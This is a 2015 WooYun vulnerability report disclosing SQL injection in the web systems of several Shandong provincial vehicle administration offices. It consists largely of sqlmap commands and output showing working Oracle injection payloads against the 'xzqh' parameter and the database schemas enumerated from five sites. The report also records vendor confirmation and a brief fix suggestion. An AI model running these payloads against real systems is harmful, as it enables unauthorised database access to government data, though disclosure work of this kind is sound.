当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118148

漏洞标题:山东省多个车管所系统存在通用SQL注入漏洞

相关厂商:山东省车管所

漏洞作者: Secret

提交时间:2015-07-28 10:44

修复时间:2015-10-26 11:00

公开时间:2015-10-26 11:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-28: 细节已通知厂商并且等待厂商处理中
2015-07-28: 厂商已经确认,细节仅向厂商公开
2015-07-31: 细节向第三方安全合作伙伴开放
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开

简要描述:

山东省多个车管所系统存在通用SQL注入漏洞

详细说明:

漏洞证明:

参数 Parameter: xzqh
http://**.**.**.**:9080/zdwz/
很多网上车管所,泄露很多敏感信息,还有很多,找几个例子先;
1.济南车管所
**.**.**.**:9080/ksbm/checkjx.do?type=bm&code3701045

available databases [35]:
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] JNZDCL_USER
[*] JNZDCL_USERHLW
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] WSCGS_Y
[*] XDB
[*] ZDCL_USER


2.潍坊车管所
**.**.**.**:9080/ksbm/checkjx.do?xzqh=370700

sh-3.2# ./sqlmap.py  -u "**.**.**.**:9080/ksbm/checkjx.do?xzqh=370700" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:42:17
[09:42:17] [INFO] resuming back-end DBMS 'oracle'
[09:42:17] [INFO] testing connection to the target url
sqlmap got a 302 redirect to '**.**.**.**:9080/ksbm/index.jsp'. Do you want to follow? [Y/n]
[09:42:19] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: xzqh
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: xzqh=370700' AND 4418=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(114)||CHR(99)||CHR(106)||CHR(58)||(SELECT (CASE WHEN (4418=4418) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(104)||CHR(120)||CHR(117)||CHR(58)||CHR(62))) FROM DUAL) AND 'lmfc'='lmfc
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: xzqh=370700' UNION ALL SELECT CHR(58)||CHR(114)||CHR(99)||CHR(106)||CHR(58)||CHR(111)||CHR(76)||CHR(79)||CHR(109)||CHR(85)||CHR(68)||CHR(71)||CHR(83)||CHR(99)||CHR(87)||CHR(58)||CHR(104)||CHR(120)||CHR(117)||CHR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: xzqh=370700' AND 9296=DBMS_PIPE.RECEIVE_MESSAGE(CHR(114)||CHR(88)||CHR(89)||CHR(65),5) AND 'OvaN'='OvaN
---
[09:42:19] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[09:42:19] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[09:42:19] [INFO] fetching database (schema) names
available databases [35]:
[*] AZC_ANDROID
[*] AZC_SELECT
[*] AZC_ZSCGS
[*] AZC_ZZJF
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB


3.日照车管所
**.**.**.**:9080/ksbm/checkjx.do?xzqh=371102

Payload: xzqh=371102' UNION ALL SELECT NULL,CHR(58)||CHR(103)||CHR(98)||CHR(97)||CHR(58)||CHR(86)||CHR(88)||CHR(76)||CHR(87)||CHR(82)||CHR(103)||CHR(121)||CHR(113)||CHR(84)||CHR(117)||CHR(58)||CHR(98)||CHR(111)||CHR(107)||CHR(58),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- 
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: xzqh=371102' AND 5718=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(119)||CHR(70)||CHR(67),5) AND 'nUjb'='nUjb
---
[09:35:27] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[09:35:27] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[09:35:27] [INFO] fetching database (schema) names
[09:35:30] [WARNING] reflective value(s) found and filtering out
available databases [32]:
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] RZJWPT_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB


4.聊城车管所
**.**.**.**/ksbm/checkjx.do?xzqh=3715002

sh-3.2# ./sqlmap.py  -u "**.**.**.**/ksbm/checkjx.do?xzqh=3715002" --threads 10 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:38:54
[09:38:54] [INFO] resuming back-end DBMS 'oracle'
[09:38:54] [INFO] testing connection to the target url
sqlmap got a 302 redirect to '**.**.**.**/ksbm/index.jsp'. Do you want to follow? [Y/n]
[09:39:01] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: xzqh
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: xzqh=3715002' AND 4890=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(101)||CHR(108)||CHR(106)||CHR(58)||(SELECT (CASE WHEN (4890=4890) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(118)||CHR(99)||CHR(58)||CHR(62))) FROM DUAL) AND 'KytW'='KytW
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: xzqh=3715002' UNION ALL SELECT NULL,CHR(58)||CHR(101)||CHR(108)||CHR(106)||CHR(58)||CHR(65)||CHR(87)||CHR(108)||CHR(110)||CHR(99)||CHR(73)||CHR(115)||CHR(76)||CHR(68)||CHR(85)||CHR(58)||CHR(100)||CHR(118)||CHR(99)||CHR(58),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: xzqh=3715002' AND 8746=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(120)||CHR(66)||CHR(79),5) AND 'UHnb'='UHnb
---
[09:39:01] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[09:39:01] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[09:39:01] [INFO] fetching database (schema) names
[09:39:02] [WARNING] reflective value(s) found and filtering out
available databases [35]:
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] LCZW
[*] MDSYS
[*] NLV_ADMIN
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] TMRI_VIO
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] XDB
[*] ZWELL
[09:39:02] [INFO] fetched data logged to text files under '/Users/night/Documents/iso/sqlmap-master/output/**.**.**.**


5.德州车管所
**.**.**.**:9080/ksbm/checkjx.do?xzqh=371400

sh-3.2# ./sqlmap.py -u "**.**.**.**:9080/ksbm/checkjx.do?xzqh=371400" --threads 10 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:41:18
[09:41:18] [INFO] resuming back-end DBMS 'oracle'
[09:41:18] [INFO] testing connection to the target url
sqlmap got a 302 redirect to '**.**.**.**:9080/ksbm/index.jsp'. Do you want to follow? [Y/n]
[09:41:25] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: xzqh
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: xzqh=371400' AND 4513=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(103)||CHR(122)||CHR(101)||CHR(58)||(SELECT (CASE WHEN (4513=4513) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(116)||CHR(103)||CHR(58)||CHR(62))) FROM DUAL) AND 'fyFe'='fyFe
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: xzqh=371400' UNION ALL SELECT NULL,CHR(58)||CHR(103)||CHR(122)||CHR(101)||CHR(58)||CHR(102)||CHR(87)||CHR(88)||CHR(85)||CHR(118)||CHR(69)||CHR(84)||CHR(89)||CHR(120)||CHR(116)||CHR(58)||CHR(100)||CHR(116)||CHR(103)||CHR(58),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: xzqh=371400' AND 9905=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(121)||CHR(78)||CHR(113),5) AND 'dEUQ'='dEUQ
---
[09:41:25] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[09:41:25] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[09:41:25] [INFO] fetching database (schema) names
[09:41:26] [WARNING] reflective value(s) found and filtering out
available databases [28]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] GXHPDZ_USER
[*] HPGL_USER
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PM
[*] QSWEBCGS_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] VEH_ADMIN
[*] WMSYS
[*] WSCGS
[*] XDB

修复方案:

过滤,整改。

版权声明:转载请注明来源 Secret@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-07-28 11:00

厂商回复:

感谢提交!!
验证确认所描述的问题,已通知其修复。

最新状态:

暂无